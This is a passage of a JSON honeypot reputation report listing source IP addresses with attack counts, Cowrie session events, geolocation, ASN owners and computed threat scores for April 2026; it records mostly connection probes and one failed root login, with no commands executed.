      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 13.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 16,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-11T14:02:25.674000+00:00",
        "last_seen_30d": "2026-04-26T08:16:33.746000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "H0neytr4p": 11,
        "Honeytrap": 9,
        "Cowrie": 6
      }
    },
    "91.215.146.235": {
      "attack_count": 6,
      "first_seen": "2026-04-29T14:33:37.942Z",
      "last_seen": "2026-04-29T14:39:41.028Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Dnipro",
      "asn": 50581,
      "as_org": "Ukrainian Telecommunication Group LLC",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:33:37.942000+00:00",
        "last_seen_30d": "2026-04-29T14:40:41.957000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "64.62.156.152": {
      "attack_count": 5,
      "first_seen": "2026-04-23T02:18:11.185Z",
      "last_seen": "2026-04-23T02:18:11.335Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T03:14:26+00:00",
        "last_seen_30d": "2026-04-30T14:07:05.806000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 183,
        "Honeytrap": 81,
        "Miniprint": 16,
        "Ciscoasa": 14,
        "ConPot": 6,
        "Mailoney": 6,
        "Cowrie": 5,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "113.62.174.87": {
      "attack_count": 4,
      "first_seen": "2026-04-07T07:15:29.478Z",
      "last_seen": "2026-04-07T07:17:29.484Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T07:15:29.478000+00:00",
        "last_seen_30d": "2026-04-07T07:28:21.669000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "128.0.7.4": {
      "attack_count": 4,
      "first_seen": "2026-04-25T12:54:51.324Z",
      "last_seen": "2026-04-25T12:58:54.798Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T12:54:51.324000+00:00",
        "last_seen_30d": "2026-04-25T13:00:08.065000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "143.0.57.131": {
      "attack_count": 4,
      "first_seen": "2026-04-28T03:07:48.751Z",
      "last_seen": "2026-04-28T03:09:51.200Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 52613,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T03:07:48.751000+00:00",
        "last_seen_30d": "2026-04-28T03:20:27.345000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.123": {
      "attack_count": 4,
      "first_seen": "2026-04-04T21:10:27.473Z",
      "last_seen": "2026-04-29T21:40:59.844Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:50:18.345000+00:00",
        "last_seen_30d": "2026-04-29T21:42:01.671000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 25,
        "Dionaea": 5,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "147.185.132.243": {
      "attack_count": 4,
      "first_seen": "2026-04-23T04:04:25.262Z",
      "last_seen": "2026-04-23T04:04:28.725Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T00:38:33.455000+00:00",
        "last_seen_30d": "2026-04-30T06:32:59.055000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 38,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "198.235.24.129": {
      "attack_count": 4,
      "first_seen": "2026-04-05T03:35:50.085Z",
      "last_seen": "2026-04-07T15:22:26.919Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:58:42+00:00",
        "last_seen_30d": "2026-04-30T06:12:40.760000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 9,
        "Cowrie": 4,
        "Dionaea": 1,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "198.235.24.148": {
      "attack_count": 4,
      "first_seen": "2026-04-19T16:47:37.314Z",
      "last_seen": "2026-04-29T21:29:22.550Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 55.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T21:53:25+00:00",
        "last_seen_30d": "2026-04-29T21:30:23.947000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "198.235.24.48": {
      "attack_count": 4,
      "first_seen": "2026-04-26T04:23:07.914Z",
      "last_seen": "2026-04-26T04:23:11.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 29,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T01:38:10+00:00",
        "last_seen_30d": "2026-04-30T18:25:42.371000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 15,
        "Cowrie": 4,
        "ConPot": 3,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "198.235.24.91": {
      "attack_count": 4,
      "first_seen": "2026-04-02T10:29:21.874Z",
      "last_seen": "2026-04-02T10:29:25.137Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 71.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 25,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T02:01:12+00:00",
        "last_seen_30d": "2026-04-25T16:41:20.046000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 26,
        "Adbhoney": 4,
        "Cowrie": 4,
        "ConPot": 1,
        "Wordpot": 1
      }
    },
    "205.210.31.164": {
      "attack_count": 4,
      "first_seen": "2026-04-13T16:41:57.076Z",
      "last_seen": "2026-04-13T16:42:00.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T00:18:05.404000+00:00",
        "last_seen_30d": "2026-04-30T05:48:01.545000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 40,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1,
        "Wordpot": 1
      }
    },
    "205.210.31.45": {
      "attack_count": 4,
      "first_seen": "2026-04-02T04:29:55.984Z",
      "last_seen": "2026-04-02T04:29:59.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T23:15:41.389000+00:00",
        "last_seen_30d": "2026-04-28T18:33:30.218000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 30,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "206.189.34.240": {
      "attack_count": 4,
      "first_seen": "2026-04-30T08:58:13.324Z",
      "last_seen": "2026-04-30T08:58:49.097Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:58:13.324000+00:00",
        "last_seen_30d": "2026-04-30T08:59:55.860000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "3.85.18.5": {
      "attack_count": 4,
      "first_seen": "2026-04-12T00:53:44.611Z",
      "last_seen": "2026-04-12T00:53:49.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T00:56:56.900000+00:00",
        "last_seen_30d": "2026-04-28T01:06:06.020000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "43.245.156.204": {
      "attack_count": 4,
      "first_seen": "2026-04-26T18:31:20.092Z",
      "last_seen": "2026-04-26T18:33:20.568Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": null,
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:31:20.092000+00:00",
        "last_seen_30d": "2026-04-26T18:44:13.944000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.196.152.237": {
      "attack_count": 4,
      "first_seen": "2026-04-11T00:06:09.657Z",
      "last_seen": "2026-04-11T00:06:10.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:11:36+00:00",
        "last_seen_30d": "2026-04-30T19:57:44.576000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 27,
        "Cowrie": 4
      }
    },
    "92.141.51.126": {
      "attack_count": 4,
      "first_seen": "2026-04-27T23:58:40.121Z",
      "last_seen": "2026-04-28T07:33:52.179Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Nevers",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:54:50.065000+00:00",
        "last_seen_30d": "2026-04-28T07:44:34.198000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "104.152.52.204": {
      "attack_count": 3,
      "first_seen": "2026-04-18T07:23:56.249Z",
      "last_seen": "2026-04-18T07:23:56.251Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 13.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 16,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T07:46:47.111000+00:00",
        "last_seen_30d": "2026-04-18T07:25:04.378000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 3
      }
    },
    "128.199.225.7": {
      "attack_count": 3,
      "first_seen": "2026-04-10T20:47:02.117Z",
      "last_seen": "2026-04-10T20:48:03.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zjidc!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.8,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T02:54:50+00:00",
        "last_seen_30d": "2026-04-26T16:17:23.570000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 15,
        "Cowrie": 3
      }
    },
    "1.213.196.20": {
      "attack_count": 2,
      "first_seen": "2026-04-15T19:47:03.447Z",
      "last_seen": "2026-04-15T19:47:34.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Bucheon-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T19:47:03.447000+00:00",
        "last_seen_30d": "2026-04-15T19:48:37.806000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "112.118.33.49": {
      "attack_count": 2,
      "first_seen": "2026-04-06T14:06:38.068Z",
      "last_seen": "2026-04-06T14:06:50.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T14:06:38.068000+00:00",
        "last_seen_30d": "2026-04-06T14:07:54.696000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.41.28.249": {
      "attack_count": 2,
      "first_seen": "2026-04-06T21:21:47.993Z",
      "last_seen": "2026-04-06T21:22:13.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gimhae",
      "asn": 10066,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T21:21:47.993000+00:00",
        "last_seen_30d": "2026-04-06T21:23:19.074000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.117.175.247": {
      "attack_count": 2,
      "first_seen": "2026-04-02T11:57:40.492Z",
      "last_seen": "2026-04-02T11:57:58.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:57:40.492000+00:00",
        "last_seen_30d": "2026-04-02T11:59:01.633000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.113.225.202": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:34:59.570Z",
      "last_seen": "2026-04-30T07:35:12.831Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:34:59.570000+00:00",
        "last_seen_30d": "2026-04-30T07:36:22.324000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.67": {
      "attack_count": 2,
      "first_seen": "2026-04-24T15:36:05.526Z",
      "last_seen": "2026-04-24T15:36:36.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T08:29:02.728000+00:00",
        "last_seen_30d": "2026-04-29T15:14:21.559000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 52,
        "Dionaea": 3,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "157.230.234.138": {
      "attack_count": 2,
      "first_seen": "2026-04-13T23:54:02.743Z",
      "last_seen": "2026-04-13T23:54:13.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
